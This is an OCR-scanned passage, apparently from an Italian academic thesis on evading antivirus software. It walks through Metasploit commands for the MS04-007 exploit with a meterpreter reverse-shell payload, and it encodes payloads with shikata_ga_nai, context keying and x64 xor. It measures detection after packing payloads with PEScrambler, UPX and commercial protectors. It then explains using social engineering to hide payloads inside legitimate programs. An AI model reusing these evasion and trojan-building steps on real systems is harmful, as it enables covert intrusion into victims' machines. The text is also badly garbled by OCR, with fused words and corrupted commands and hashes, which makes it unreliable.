- 32 per indicare l'indirizzo del frammento
- 32 bit: per indicare la grandezza del frammenta(iatti)

- i dati del frammento
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Oltre al contesto appena illustrato, esistono cintde prevedono tecniche piu raffinati

e complesse per l'individuazione delle context-key:

Cpu-based Keying: le istruzioni cpuid x86 ritornacmme informazioni di
processo contenute in vettori multipli e la mediguksti vettori dipende dal

modello di processo. Sapendo cio, € poss})ile deolel tutti 1 vettori
//

I (\\
contenenti informazioni basiche di processo e@ﬂ@/datl contenuti in un

o
algoritmo xor, cosi da formare keys a 32 b}%

Temporal Data-Based Keying: le chlavwzﬂ\ odifiemgono costruite sulla

)
base di qualcosa che e presente so)/%@una dedeanquantita di tempo. Il

shellcode engine Hydra usa aiéamx\bit ottenuti adaystem call time(2).

©

Questa system call ritorna m@n ﬂ‘lle a 32 bitmge dei processi e dei figli.

Utilizzando i 16 bit piu s@%%nw Hydra perrtie la creare di una finestra

S
i>studiare. Il metodo perdlifficile da applicare

di lavoro di 18 ore su:

perché prevede una tecnica di bruteforce a 16 ditrpndere possibile

@)
'emulazione ﬁé\\@ﬁﬁiamata e il successivo stuldibcodice.
’@:\\\ -
Filesysten%éﬁd Keying: normalmente i sistemi rditgzione di network
non hﬁﬂq “dccesso ai dati che proteggono cosi sbpesnascondere le
/( )
@tiey all'interno dei metadati del filesystefnuttando la system call
stat(2). La funzione permettere il ritorno di infaazioni sui file ritornando
una struttura contenente molti valori di tipo stese st_mtime. Utilizzando

opportunamente questi valori all’interno di un algoo di tipo xor e

possibile creare context-key, ma con dei rischiraati. | file su cui la
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funzione sara lanciata potrebbero essere cancelldatiominati. In fin dei

conti, anche questo tipo di tecnica e da considesardati temporali.
Attraverso I'adozione di queste tecniche e possitiieare un payload non reversibile da
sistemi di rilevamento malware.

Ora effettueremo un esempio pratico su una vuli@gaicrosoft Windows

i
@
XP chiamata ms04-007, che si basava essenzialmenia' Q&Hyjmonamento del file

. —

ms04-077.dll cosi da permettere una manovra déboﬁpeil@g/.
e

|

/

Iniziamo eseguendo una mappatura del file bersagliserendo i risultati in un file
N
.map: X0
(X
- ()
msfpescan —context-map context dll/* ( '
cat context/* >> mappa.exe.map \\\\2

msfconsole ‘ )

Use exploit/windows//s%\%ﬁ/sM-OO?-killbill
Set RHOST 90.147

Set PAYLOAD m& meterpreter/reverse tcp
Set LHOST Y.X

Set ENCODER /shikata_ga_nai

Set EndablContextEncoding 1

Set ContextInformationFile mappa.exe.map
Exploit

Se il sistema e vulnerabile e la mappatura e sH&tuata correttamente, il codice

malevolo e iniettato e non individuabile dall’amirus.
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ARCHITETTURA x64
Fin ora abbiamo utilizzato codifica su architedtuB6 per sistemi operativi a 32bit. Ora
proveremo a utilizzare payload scritti per esses@geiti su sistemi operativi a 64bit.

Ancora non e presente una grande disponibilitaudsty tipi%@/load, ma e presente

una release Meterpreter [Fig4.1.17]. @

&

N

Q

Msfpayload  windows/x64/meterpreter/reverse_tcp LH T=90.147.y.x >
pay64.exe o

0 LHOST=96,147.42.34 X >

] —
Figura 4 vpayload meterpreter 64 bit

SHAZ256: 5248cddalbcd 79877b05caral 12e9dasb541012{407dcddddi5292e299¢

File name: payﬁd.e@

Detection ratio: 0/ 42

Analysis date: @@2 09:14:38 UTC ( 0 minutes ago )

Figura 4.1-18: analisi payload meterpreter 64 bit

Il risultato della scansione € interamente positiiae 0 su 42 [Fig4.1.18] per un tasso
di rilevamento dello 0%.
Il risultato, inatteso, € a dir poco sconcertamte bisogna prima fare un piccola

puntualizzazione: fino a pochi anni fa la quasialith dei sistemi erano basata
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esclusivamente su sistemi operativi a 32 bit. Datqtii i payload sviluppati sono

realizzati su questa base. Negli ultimi anni, llezone hardware ha portato ad un

aumento del quantitativo fisico di ram disponilpler sistema, non piu gestibile da un

indirizzamento a 32 bit. A causa di cio0, i sisten84 bit hanno incominciato la propria

diffusione. Anche se oggi la stragrande maggioradeh mercato € su 32 bit, la

tendenza si sta lentamente modificando. Chi acmw'g‘gi@ovo computer nella
o

maggior parte dei casi lo ottiene a 64 bit. E' m& e la totalita dei sistemi

antivirus testati non abbia rilevato questo tipmdﬁ(i@%nodificando il payload solo

S - 5%/
nell'architettura di rifermento. ‘/N

Ora proviamo a codificare, anche se no %ss’hpayload a 64 bit e vedere se i
7
risultati imangono invariati. Per codifi @dcﬁcm bit & disponibile solo un metodo

di xor randomico basilare. Utilizzer% esto fFig19].

S

Msfpayload windows/x64/meterpreter/reverse_tcp LHOS T=90.147.y.x R |
msfencode —e x64/xor —c 1 —t exe =0 pay64_xor.exe — a x64
N

90,147.42.34 R

@ Figura 4.1-19: payload meterpreter 64 bit encode

SHA256: b72a302743dcf127131e5030650891a85ae8a5cba65cd0de 7adt233086851 172

File name: payb4 _xor.exe

T3

Detection ratio: 0/ 42

Analysis date: 2012-06-12 09:30:43 UTC { 1 minute ago )

Figura 4.1-20: analisi payload meterpreter 64 bit encode
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Come intuibile i risultati sono rimasti alteratiig®.1.20] e anche su prova massiva,
nessun cambiamento.

Riassumiamo i dati raccolti [Tab4.1.2]

7=\
Meterpreter Base @singolo
% di rilevamento 0.0% \ 0.0%

Tabella 4.1-2: tasso rilevamento payload a 64 bit tra%&? msfencode

4.1.5 Programmi di encoding AN

(C /N
(( )
)
Anche se non molti, esistono pro%a\ I che riescamceffettuare la codifica di un
S/OF
payload in modo automatico. e‘ﬁéialmente, eskrzaino metodologie simili a

PESCAMBLER %)
\IJ
Uno dei W programmi disponibile in rete Biamato Pescambled.]].
e
SY/aT
Questo pr ma base il suo funzionamento sullarfrentazione del codice e la

riallocazione di questo con qualche modifica stdese di codice.

Verifichiamone I'efficacia [Fig4.1.21][Fig4.1.22].
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C:sUzerssPallisDesktopPEScrambler.exe —help
PE—Scrambler vB.1 <Alpha>
Copyright <C> 2087-2808 Wick Harhour. All Rights Reserwved

Uzage: PEScrambhler.exe —i <INPUT.exe> —o <OUTPUT.exe>

—i FILE, —input=FILE Specify an input executahle FILE
—o FILE, ——output=FILE Specify an output executable FILE
—h. —help Display thisz help information

Figura 4.1-21: pescambler help

C:islzerssPallisDesktop»PEScrambler.exe —i pavhase.exe —o PESBase.exe
PE-Scramhler vB.1 (Alpha’
Copyright <C> 2087-2008 HWick Harbour, All Rights Reserwed

Loading and Parsing Input File. <donel
Dizazzembling. <donel

Generating Cross—References. (donel
Remapping CALL Instructionz. <donel
Armoring Code. <done?

Uriting Qutput File. <donel

Figura 4.1-22: pescambler@s(«;%

N

SHAZEE: 43 Tb9d2DCESbEJdaEahaeadcTﬁb %9ﬁcaﬂh5c4h1b£7331d33é5‘?9&2d8c1e
/- \
x\/ AT
File name: PESBase.exe L/,\L\\,,,/)"
(=
N\
g i1 ratio: ' ;\
Detection ratio: 25/ 41 ) K?/;§§7
N {Li/
Analysis date 2012-06-12 12:51: \>"|_ 1 minuto ago )
N
\\\

F/gura 4.1-23: analisi pescambler payload
N4 N {'
E/\\J"'

.- . /‘/ O\ . . . .
Utilizzando un si gtfo/ payload non codificato i ufieti ottenuti sono

\\

complesswamer)te\ottrml avendo un riscontro di 2312 [Fig4.1.23] pari al 59%. Ora

/ \) \’,/
proviamo Ia(@qdlflba( del nostro miglior payload dadto fin ora.
\>
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SHAZ56: d3193425127369724b9%e171b67dcded05860168d3b0611 Beadh549326161afb
File name: PES enc.exe
Detection ratio: 14/ 42

Analysis date 2012-06-12 13:04:35 UTC { 1 minuto ago )

Figura 4.1-24: analisi pescambler payload encode
g p payl %

| risultati ottenuti sono ottimi: passando da 2b4asu &@4 24] per un livello di
e

rilevamento del 40%. \
\ )
J

Il tentativo di ricodificare I'eseguibile ha dats gativo in quanto, anche se ben

compresso, il contenuto non riesce piu a(}ﬁ%rmamin esecuzione per I'eccessiva
frammentazione del contenuto. Lanalliﬂd@ le@munque portato a un rilevamento

di 10 su 42, ottimo risultato, ma no@a\ vistanon eseguibilita.

! /)J
UPX \

- )
La compressione puo %@\N intesa anche come aitipodifica di camuffamento.
% 2
UPX [12][Fig4.1.25] Jaf/tool linux che permettere di campere un file in modo

\\

simile a quantogy%ﬁé con un file .rar. Oltreamuffamento, il secondo vantaggio e
Y%
rappresentato /dalla compressione del file che meiigiori delle ipotesi si puo ridurre

quasi del 50%.

Upx
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UPX 3.84

Options:

- q

to (de) COMPress

for more detailed help

with ABSOLUTELY NO WARRANTY: for de

Figura 4.1-25:
L

Upx -9 —f —o ./Desktop/compresso ./Desktop/si(ﬁrﬁe@/ xe

N
\j‘ Figura 4.1-26: upx esecuzione
Iniziamo I'an Iis@n semplice payload compre$sg4.1.26].

SHA256: 1260ab%dd&87e0af8c4fI5f3183822660 197 32abf7 Tead 169dcb4cdbf4e90faf
File name: compresso.exe
Detection ratio: 29/ 42

Analysis date: 2012-06-12 13:50:53 UTC { 2 minuti ago )
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Figura 4.1-27: analisi upx payload

Il singolo payload ha un tasso di rilevamento cagsp da 31 a 29 su 42 [Fig4.1.27].
Ora proviamo la compressione di un nostro paylaatificato.
| risultati sono leggermente migliori, da 29 a 2342.

Questo programma presenta solo un grosso dlf€G$EdUZl(fl€> na volta che un file
=/
viene compresso, per essere eseguito, questo dm@%jlflcato ed esequito.

Riassumiamo i dati raccolti [Tab4.1.3].
( \\
\\ )

RO
G

r/

Pescam@r UPX
Base é%&de Base Encode

Meterpreter

0 i ﬂ ]
i .44\:"‘/33.4% 69.0%|  66.7%
rilevamento S %

Tabella 4.1-3: tasso rif@ payload trattati con programmi di encoding
®)

DN
4.2 File protec K

[//
4.2.1Che co;gg@o

Q/O//
Agli inizi d(ﬂ%ﬁfusione dei primi programmi pgrersonale computer non esistevano
sistemi atti ad evitare I'utilizzo dei software pretari. Con il passare degli anni e
'avvento della rete, il fenomeno della pirateridormatica e diventata una minaccia
reale per tutte le software house che vivono dapgo business. Da qui, I'esigenza di

creare programmi e plug-in di protezione ed auwteatone dei prodotti cosi che un
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pubblico non autorizzato al suo uso, non ne poss&uire. Tralasciando il successivo
fenomeno del cracking delle applicazione, I'esigedizproteggere i proprio patrimonio

intellettuale € anche un l'esigenza dei piu piccBli questa traccia, alcune software
house si sono specializzate nella creazione demisti protezione stand-alone che
permettono a chiunque di porre una protezione diesto tipo ¢

77
4 (\ .
password, un seriale, un file di certificazione mpedl\ma ccesso al codice.

ui propri file, come una

/

%mgzro mercato, ma non

k

gratuitamente. Per chi volesse provarli, la VGBIUWG\%SSO disponibile.

\o\\z/‘”

Naturalmente, questi programmi sono dlsponlbu

///

4.2.2 Come sfruttarli ;"O@”

creazione come per esem Jo\pro eggere il nostroceath letture e analisi indesiderate.
@

Prendiamo in esame tr%ﬁfotector disponibiliete in versione trial e verificheremo
/

il loro potenziale dl%ﬁn‘famento su un normadglpad puro, e lo stesso payload,

eventualmente (zﬁﬂmcéto e frammentato con Pesaamb

EXECryptor

ExeCryptor L3|[Fig4.2.1] si presenta come un programma relateat® semplice. Per
iniziare la protezione di un file necessita anttgmente di salvare il progetto e

impostare successivamente i parametri di protezeooempressione del file aggiuntivi.
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Tra le varie impostazioni disponibile c’é anch@dssibilita di aggiungere librerie extra
e compatibilita con sistemi di virtualizzazione arhinux Wine e VMWare. La
protezione anti-pirateria puo essere del tipo mamiee fornita dall’'utente, o trial, auto
prodotta dal programma con tempi massimi d'utilizado di riferimento, timer di

notifica o altro. Nella nostra prova utilizzerengoitnpostazioni standard che prevedono
‘0/(/[/&;?(\\‘\
un pop-up a schermo del messaggio di trial [Fig4.2. Ia‘&trgzj;ésiva esecuzione del

o
programma. Il programma prevedere anche la di@%di guest'opzione cosi da
((

non sembrare un normale eseguibile. Nella versi%leta sono presenti ulteriori

N/
voci di protezione avanzata del codice. \\

R
A

($ VAT
&7
)
A

/)

/

2
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YR E

Project Options sarials Redistry Protect! FLn Aexert

Local transform: 245 bytes: 45 instructions; 3 jec.
Global transform: 260 bvtes: 51 Instructions; 3 joc.
Total: 31315 bytes: 7999 instructions; 750 joc.

Mix code: 43007 bytes; 10332 instructions; 750 joe,
Create extra code section at 000017000

Aszsemble

Extra code section size: 174235 = 43100 byles

Strip relocation info.

Create TLS directony \
JTALGT Compression Library. Copyright (G Jeremy Cu:ullak@
Compress code .

COmpress resource

Fesource is incompressible. @
Done: 112732 --= 75334 bytes (A6%)

Decompressor size: 388 hytes @
Compile-loader 9457 ytes; 2282 instructions,

Save @

Dione. &©

%

ChDocumentz and Settings\WAdminiztrat Iéé;ggaylnad_base.epz

Fﬁ@-l: ExeCryptor esecuzione

' ': i@tware pratected with UNREGISTERED copy of EXECryptar!

Figura 4.2-2: ExeCryptor pop-up
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SHAZGE: MB052540111d92498bhAfE01 B0 09 ecEB34969d0f7 d243d88607 cB7 Th2b917
File name: payload base ExeCryptorexe
Detection ratio;. 16/ 42

Analysis date: 2012-406-13 08:46:33 UTC (0 minuti ago )

Figura 4.2-3: analisi ExeCryptor payload /1:;
7

-
®
S/
SHAZEE: Baf0eddecesbl] 16e22dcIbE5e35 0396 @R@ 48385581 be 15228307 bE24 b0
File name: payload pes Cryptorexe (7}7
)
- —~
Dietection ratio: 9/ 42 r“\\ N\

0\
Analysis date: 2012-08-13 09:22:45 UTC ti ago )

ExeCryptor payload encode

Figura 4:2-4:

—

—~\
Risultato decisamente @\é&o\ﬁ con codice codificgiassando da 16 [Fig4.2.3] a 9 su

NN
42 [Fig4.2.4] e rius@a bypassare anche i pmuai anti-virus. Altri anti-virus

y COF
codifica. =

effettuano una r}le%zibne preventiva basata sulsenza di manovre euristiche di

The Enigma Protector

Enigma Protectorll4][Fig4.2.5] & decisamente piu complesso, ma corophetle sue

parti. Troviamo la possibilita di aggiungere fibetra, caratteristiche di registrazione che
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spaziano dalle chiavi a blocchi hardware, caratiehie di protezione su diversi tipi di
linguaggi di programmazione, ecc... La versione gleta presenta dettagli decisamente
piu interessanti, ma fini alla compatibilita su rolaioe virtuali e al controllo trial, tranne
che per il gruppo check-up, che consente la complestione di procedure di anti-
debugger, control sum, startup password, instalnlm'servizi e cosi via. Tutte opzioni
che favorirebbero i nostri scopi.

Anche in questo caso utilizzeremo le mpostazmﬁadl all'utente trial, compreso

il pop-up di notifica trial [Fig4.2.6].

@ The Enigma Protector [DEMO] - Default

= |l SETTINGS
| Project detals

. P
Iriput @

Select file to protect

| Input iE:\Documents and @lt{qgs%mi. iztratoriDesklopipayload_base exe | Browse
[ Advance Input : =
=R

._IJ" a Pro Sl s Og | [ Browse ]
+ LI} | [10.50.43] Loading Trial Control - Limitation of Executi n\TiM A
< [ | [10.50.43] Loading Trial Contral - Reminder Tl
il 10.50.43] Loading Trial Contral - Time Conlrol

g 10.50.43] Protect file; c:\documents a istrator\desktophpayload_base exe
10.50.43] Pratection started .. 1

¥\ | [10.50.43] Input file size = 73502 bytes |
< ¥ | [10.50.43] Detect compiler : Unknown i

@ ]| CH | [10.50.43] File entropy 1,38 |

F 10.50.44] Search markers...
&Ll E:: 10.50.44] Compress section :
- I 10.50.44] - "lent”, size 45055 byl
=) VIR [10.50.44 duna news size bte:
: %

|
-~ pe | | [10.50.44] - "idata", size 4 =3
| 10.50.44 done, hew size 4036 b =
10.50.44] - ".data”, si B ..
&Ll Mif 10.50.44] done. new size 813 g3
Ul TH [10.50.44] - "rsrc”, Gz 4095 bytes ...
10.50.44 done, new size Bb
1050 48] All e ewfle size = 823370 hytes, ratio 1115.65%
10.50.48] Wik ou Are uging registration constants from default project
.50, * RN Nbigstrongly recommended to create new project firsty!
X ﬁ’ GiEnter the unlque Product Name on the Input panel
% th Product he | | M |
Jocuments and Se istrato avload basze Enigraged
Show | =
Having problems with protection? Ask your guestion on our support forurm| el
T T e |

Default {Modified) [ Protect

Figura 4.2-5: Enigma Protector esecuzione
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THIS SOFTWARE |15 PROTECTED WITH A DEMO VERSION OF THE ENIGMA PROTECTOR

THE ENIGMA PROTECTOR

File name: C:A.._\AdministratoriDesktop\payload _base_ Enigma_ exe

The Enigma Protectar is powerful tool designed Far comples pratection of
program madules. Program modules include following twpes of objects:
"WWind2 Portable Executable file, ‘Windows Screen saver files, Dynamic Link
Libraries, 32 bit ActiveX control filez, MET executables.

Thiz message wan't appear in the reqistered vers would like ko
regizter The Enigma Protectar, visit order page o eh zite:
http: //www_enigmaprotector. co

Click on the window to continue execdtion

Copyright © 2004-2007, The Enigma Protector Developers Team_ All rights reserved.

Figura 4.2-6: Enigma Protect

SHAZSE: 1fae?foe2?81al5af21 d35f3d1 aal @1 facc? {3adlB? 37 badafcbfcd 26

File name: payload _base Enigma exe
Detection ratio: 127 42 @
Analysis date: 2012406-13 08:5 :21 minuto ago )

| risultati ottenuti son

abbassando il ratio 42 [Fig4.2.7].
SHAZEE: 99d165cbeIR05E7 2205025601 cad38e36e 1647 2408d19242h 264 acebb52035h
File name: payload pes protected exe

Detection ratio; 171 /42

Analysis date; 2012-06-13 09:26:23 UTC (0 minuti ago )

Figura 4.2-8: analisi Enigma Protector payload encode
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Leggermente meglio su payload codificato passantlb su 42 [Fig4.2.8]. La maggior
vulnerabilita di questo programma € rappresentataipo di file output che produce:

molto anti-virus identificano il file come di tipenigma e potenzialmente pericolosi.

—

ExeShield Q\g//

composto da opzioni semplici divise per grupp@@?r, protection options, keys e
-

license. Anche in questo programma attravef@bap di screen possiamo gestire

I'apparizione dell'immagine pop-up di tri/zi@g 1D]. Nella versione trial, non sono

impostabili le opzioni di protezione a&é@a, & di minima sicurezza. A nostro

piacere, I'impostazione del rateo @@Empressiomhslm gestione della validazione, o

\Z
dei tipi di linguaggi da utiIizz%

re varieespzioni: di defaut e utilizzato il codice
Delphi. —
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Yia C:\Documents and Settings\Administrator\Desktop\payload_base.exe

File Protection Help

L TE

Open Save Fratect Test Exit

| Details | Sereen | Pratagtiontigtican | I —" _

[ Gtats | Resuls |

Bl 73802 Original Size in Bytes
[ 629.550 Protected Executabls

750,000 §
700000 4
£50,000 4
gooooo |
550000 §
500000 |
450,000 4
400,000 4
3500004
200000 4
250,000 4
200,000
150,000
1000004 |
50,000

D.

ExeShield

[ Criginal Sizein Bytes | -

o Tawe s =i

Original Size in Bytes Protected Executable

8BNS Browse

&
Figura 4.2-9:@ esecuzione

Payload

Trial | Feister

%Daylnad

@ 123456789
Dayiz) IE% r trial 15
[

Thiz i@?ﬁctinnal gvaliation. You are free to evaluate this demo.

aze zend the registration number [below]: to vourt@emall along with
waur full name zo that an Activation Code can be e-mailed to you. To
avioid errorz, Right-Click: the reqgiztration number code and chooze
"Copy'’, then paste it into pour e-mail.

Registration Mumber; F45F-304C-6R

] [ Order ] [

[ Ty

Register

Figura 4.2-10: ExeShield pop-up
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SHAZEE: T ad04897 b1 fd88e19493d2d257 249424 791516 bf164 0 3bSTAE05211d57177
File name: payload base exe
Detection ratio: 1 /42

Analysis date: 2012-06-13 08:59:29 UTC {0 minuti agao )

Figura 4.2-11: analisi ExeShield payload

M)
)

\
((C 9]

\&\\\\_///‘/ |

1 su 42 [Fig4.2.11] risulta il miglior risultatonfi ora%%nuto e sono l'anti-virus
/\
“Jiangmin” e riuscito ad identificare il potenziajedi%\ levolo.

S

N

SHAZSE: BedbeB30641 DBDEhEcaQEaeBDEUEE@@b&B b3V d7 241963667 42 c67 b0d33d47
e

File name: payload pes exe ‘ ’\\\\Q

Detection ratio:  1/42 \&

Analysis date: 201 2-06-13 02:30:19 O Finuti ago )

+analisi ExeShield payload encode

Inalterata la situazion@u\cédice codificato [Fgti2].
=)
N
| pro pV/di file protection si sono presentatime ottimi mezzi per il
camuffamento di codice malevolo anche se utilizzatrersione trial e quindi limitati
nelle capacita di protezione del codice. Riprentierda trattazione di questi tipi di
programmi nel successivo capitolo 5.

Riassumiamo i dati raccolti [Tab4.2.1].
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ExeCryptor Enigma ExeShield
Meterpreter
Base Encode Base Encode Base Encode
o
. % di 38.1% 21.4% 28.6% 26.2% 2.4% 2.49
rilevamento

Tabella 4.2-1: tasso rilevamento payload trattati con programmi di file protector

4.3 0-day payload e business spyw /Q@

4.3.1 Che cosa sono N

| payload 0-day sono la controparte degli 9( . Il loro principale punto di forza
/W

e rappresentato dalla nuova combmazm;rre dﬂcodmme ,ancora studiata e inserita negli
)

o

aﬂf un payloadd@y dura esclusivamente qualche

archivi firme anti-virus.

Solitamente il loro ciclo
giorno, finché utenti o espertii:::* ettore ne aoovl’esistenza e iniziano lo studio del
codice, emulandolo. Um@@@ che lo studio e leevdlevazioni sono state I'effettuate,
I'efficacia del codice /srndﬁce lentamente graaigli aggiornamenti degli archivi.

-
Successivamente Q%%lluppa il fenomeno delle mériahe altrettanto lentamente
/\ >
subiscono lg’st s@/uclo di vita.
Oggi 'unico modo per ottenere questo tipo di cedsi divide in due vie:
- pagare cioé entrare in possesso di soluzioni bssim®me quelle gia

elencate (Metasploit) e ricevere in modo automadtitte le ultime news su

exploit e payload.
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- made my hand: l'auto produzione di payload prevedena profonda
conoscenza di un determinato linguaggio di programiome, di procedure
di networking e di gestione del sistema operatieoguali cambiano da
sistema a sistema.

Esistente anche un ulteriore metodo per posse@é@g@’malevoli like-O-day
ovvero entrare in possesso di sistemi spyware cog%Questi programmi sono
solitamente utilizzati da piccole e grandi aziepéeﬁ\q%'brare | propri dipendenti sul

N
luogo di lavoro. A tutti gli effetti, questi/f%gmni sono dei malware, ma
commercializzati e resi legali sotto certi teﬁ/ﬁ@\t}/&trattuali che devono essere stipulati
tra dipendente e azienda. L'utilizzo dioo@é/f}/mgzmsaputa del sorvegliato li rende a
tutti gli effetti dei virus. Tralasq(aﬁ% questi tdgli, € interessante sapere che

()
n riescano avdle questo genere di codice

normalmente i sistemi anti-

Vir

malgrado sia “dannoso” al sistema ed applicandnicke quali keylogger, sniffing o

(€
I'altro. A titolo di crona éﬁnﬁtmque non e nuove sporadicamente su riviste a tema
A

(

(L7 . . L
@ms che bloccavano quéigio di applicazioni fra le lamentele

si legga di sistemi a%

degli sviluppator'ﬂ;}%@ftware.
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Capitolo 5

Ingegneria sociale

5.1 Che cos’e?

AN
/)
‘//

/M
‘

Nel campo della sicurezza della informazioni Ilggerla s@@a’(ée una disciplina che
prevede lo studio di un sistema sociale nel suo %per capirne a fondo le

\\

dinamiche ed ottenerne le informazioni utili. ( \M
Prendendo spunto dalle parole di un m?\n%o ingégseciale, Kevin Mitnick

[18], I'ingegneria sociale pud essere rlasg @?@ in fumse: T’arte di convincere la

pay

gente a fare qualcosa che di norma m)ig;rebbe per un estraneo” . Questo tipo

d’arte ha avuto negli anni un ce@a@\woluzionme svariato campo d’utilizzo, da

semplici scherzi al vero e%\'ospionaggio indate, non a caso i principali

esponenti di quest’arte s?ne\sple investigatdrxigtr o pirati informatici.

Un ingegnere soma%/essere tale, deve esdsle w@el saper fingere ed

//\

ingannare con le &*@@r{e parole gli altri, rimanendonvincente e recitando la

propria parte co@ﬁse fosse effettivamente un'aktraona. La principale tecnica su

cui basa r;b/rio operato € il fingersi un'altp@ersona, imitandone i

comportamenti, usandone i dati e le routine, attre il gergo.

Ogni tipo d’attacco da parte del ingegnere socialieia con la raccolta delle

informazioni sul bersaglio. Questa prima fase putate anche parecchi giorni, ma

e alla base di ogni attacco ben riuscito perch@endendo le parole di Mitnick,
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“senza fare i compiti a casa” non e possibile pdeve e prepararsi a ogni possibile
situazione che si potrebbe presentare e reagicerdieguenza. Questa prima parte e
definita footprinting (seguire le impronte) e prdeee I'utilizzo dei piu svariati
metodi pur di raccogliere informazioni di qualsidéifio potenzialmente utili come

frugare nei rifiuti, telefonate, email, entraredantatto con I'obbiettivo e cosi via.

//,,
)
La fase di footprinting si evolve gradualmente aledo f\*ﬂi@ccante a un livello

/

superiore ad ogni nuova informazione con cui 9@033%50. L'utilizzo del
((

telefono e di Internet rimane ancora il mezzo@%ato, e l'assimilazione del
‘\\;/ |

linguaggio specialistico dell’ambiente in cy}é@a ad agire la priorita. Questi

mezzi anche se indiretti, consento di m&%nerecemho grado d’anonimato e

o
contatto indiretto. Solo nei casi in %L&nﬁn e pois farne a meno, I'ingegnere
entra in contatto diretto con la vmrma Questootidi contatto € considerato il piu

‘(Y
a oltre chedapacita di presentarsi secondo

difficile e richiede una cer ap
I'etichetta richiesta.
\\
Una volta che I %le footprinting é stata costguia e le informazioni per
coprire ogni evenle%sono ottenute, inizia lafd®ttacco, che puo durare anche

pochi minuti, mf% éw 'ingegnere sociale riesad entrare in possesso delle

’(//
informazio

5.2 Come usarla?
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L’'ingegneria sociale e da sempre alla base di gasilsipo di truffa o raggiro. Agli

.....

mezzi di comunicazione telefonici ai propri fini,seiccessivamente si e estesa a
Internet. Da qui sono nati fenomeno come il phighirecniche di truffa virtuale in

cui 'aggressore inganna la vittima convincendolh)mir?igformazioni personali
75N\
G \

sensibili a sui insaputa e in modo indiretto. Mmﬂhm&\‘?@jﬁsempio il phishing

o
attraverso le email o siti ingannevoli, dove spaﬂﬂmgg@ichiesti i dati di carte di
((

credito e/o personali per conto della propria /P@:Q%I altri servizi di credito,
N\,
ovviamente fasulli. Di fronte a queste tecnlpih%ﬁl sempre inutile ogni forma di

protezione informatica come antivirus O/Iiﬁs Iistvo che essi possono proteggere
/¢
— wu

'utente a livello codice, ma sono me\Qmﬁm frordecodice innocuo che contiene

dati sensibili come per esemp’/@\ 0 essere una.nhilvero pericolo é

2
la sua conogeernlel settore informatico e

rappresentato dall’utilizzatore,

sociale. Come per una telefonata o una mail, lanwdi informazioni non

@)
appropriate si puo r \a\pré/potenzialmente letabr fm sicurezza aziendale o
e
(CA)
personale. Non a S0/ oggi i maggior investimerdilan sicurezza aziendale

vengono svoltléﬁe%@ preparazione del dipendemti,quanto si pensa che questi

Y . . . .
siano il principale anello debole di una catenaidirezza informatica perfetta.

5.3 Nei virus?

Ritornando all’argomento di trattazione originaléngegneria sociale é diventata

nel tempo il miglior alleato di ogni virus o hacké&uando il miglioramento dei
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programmi e arrivato a un punto che i bug e leefalli sistema sono quasi
inesistenti e un attacco impraticabile in una ndemsituazione, a questo punto
I'hacker si fa ingegnere sociale. Come gia dettlm stato attuale non e possibile
effettuare un attacco di tipo automatico su unaahem@ vittima aggiornata, grazie
alla cura della maggior parte delle vulnerabilitia) a me/go che non si disponga di
mezzi monetari 0 scoprire vulnerabilita personéii. queés’ ”\‘ iente, l'attaccante
non puo far altro che affidarsi sulla “stupiditaélcpr?% obbiettivo, camuffando
virus o altro in potenziali oggetti d’interesse.rmn%\hésempio dei virus presenti
in alcuni siti internet non affidabili, dove )g?&%g\'\élti Si spingono, piu 0 meno
inconsciamente, per ricercare matenals?/h% alleape di tutti o nel tentativo
d’ottenere materiale commerciale a %@(ﬁ;ero saadolo illegalmente.

Portando un esempio ancora Aamxoncreto basti ggenslla pirateria sui

2
enti scaricaualla rete programmi pirata solo

videogiochi. Migliaia e migliaia c

per non acquistarli e al loro interno sono pres@méisumibili “crack” di dubbia

// N
origine che rlchledong\xaudlsattlvazmne dell’amtins per essere utilizzate. Qui
troviamo un esempi Igmpante di come un utenterisciamente viene raggirato da
un virus facenﬁ,ﬁa va sull impulso di possederetgtamente un bene, senza
(@
pensare intuire le probabili conseguenze che oreseguono. Molti utenti
definiscono queste situazioni di “falso positivoh, quanto credono che un anti-
virus rilevi una “crack” malevola non perché corgareffettivamente un virus, ma

perché é pirateria. In molti casi, quest'intuiziosiepuo rivelare vera, perché la

“crack” andando a modificare registri di sistemarpbbe allarmare I'antivirus o
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creare situazioni simili. Non bisogna dimenticahe ce questi attraverso un analisi

statica, cioe di signatures, rileva un virus, nellaggior parte dei casi questo lo é.

5.4 La nostra applicazione

\\

=\
N\
Come abbiamo analizzato nei precedenti capltohomﬂ\\ﬁtfséltl a creare codice

/

malevolo non rilevabile dagli anti-virus prese(m’% ommercio o almeno

parzialmente rilevabile, ma rimane ancora l{Qa\\Jfaibila nostra metodologia.
//

L’iniezione e I'avvio di un nostro codice pﬂé% affettuato solo se e presente

una vulnerabilita nel sistema o comun@%blam(mmm diretto d'accesso al
(U

TN
sistema. In tutti gli altri casi abblamm\sempllcenmun codice non rilevabile da

sistemi anti-virus, ma inutiliz b@/\buerché norcdtizzabile e avviabile in modo
=

automatico nella macchinawittin
Per colmare ques}/a\ﬁalla, ci affidiamo all’ingegaesociale in modo da

consentire aII’obbiett'%ntrare in possesso destro codice in modo, per lo
\/

meno, casuale sen%@a{rtlcolarl sospetti ed awverposto nostro. Rimane ancora
—) o

un punto da co// etare: una volta avviato il progre, un normale payload non

&J
presenta nessuna finestra di dialogo, ma lavorétgmente in background e il
proprio eseguibile & visualizzabile nella lista geocessi utente attivi. In questa

modalitd d’esecuzione, si prospettano due alteraatiutente é ignaro del pericolo

e pensa a un mancato funzionamento o l'utentessisipettisce e inizia un indagine.
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Per ovviare questa situazione, € bene camuffaréetiormente il nostro
codice, ma non a livello di struttura dati, ben&®stetica. Prendendo spunto dal
mondo della pirateria software perché non includéneostro codice dietro a un
programma o un videogioco, cosi che all’avvio emtra partano dall'insaputa
dell’utilizzatore?

72\

A tal fine, possiamo riutilizzare uno strumento gisato ‘fir Qﬁroy/a cioé MSFEncode,

|

utilizzando le sue opzioni: //§

- -X path_file: ci permettera di mpostavﬁ}\wogmm da utilizzare come
) )
“facciata” al nostro codice &

- -k: permettera al nostro coﬁa‘Qe di continuare saf@amnente dal

O/k
=5
programma facciata la su%ésééuzmne graziecedlazione di un thread

dedicato, continuando Lfeﬂx%condlwdere il process

Grazie a quest’adozione/gara ossibile creare lenapparentemente innocuo dal
™

punto di vista estetlc&@malevolo dal lato detlice. Nel capitolo successivo,

dimostrativo, andr a:/mlxare tutte le tecnichredra utilizzate per simulare un

N

attacco. %\

Q

5.5 SET

Come gia specificato, ingegneria sociale e inforoaasi fondono e si toccano in

piu punti, creando ai giorni nostri un legame ormain piu scindibile a causa
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dell’effetto dell'informatizzazione che sta subenldosocieta. Da questo punto di
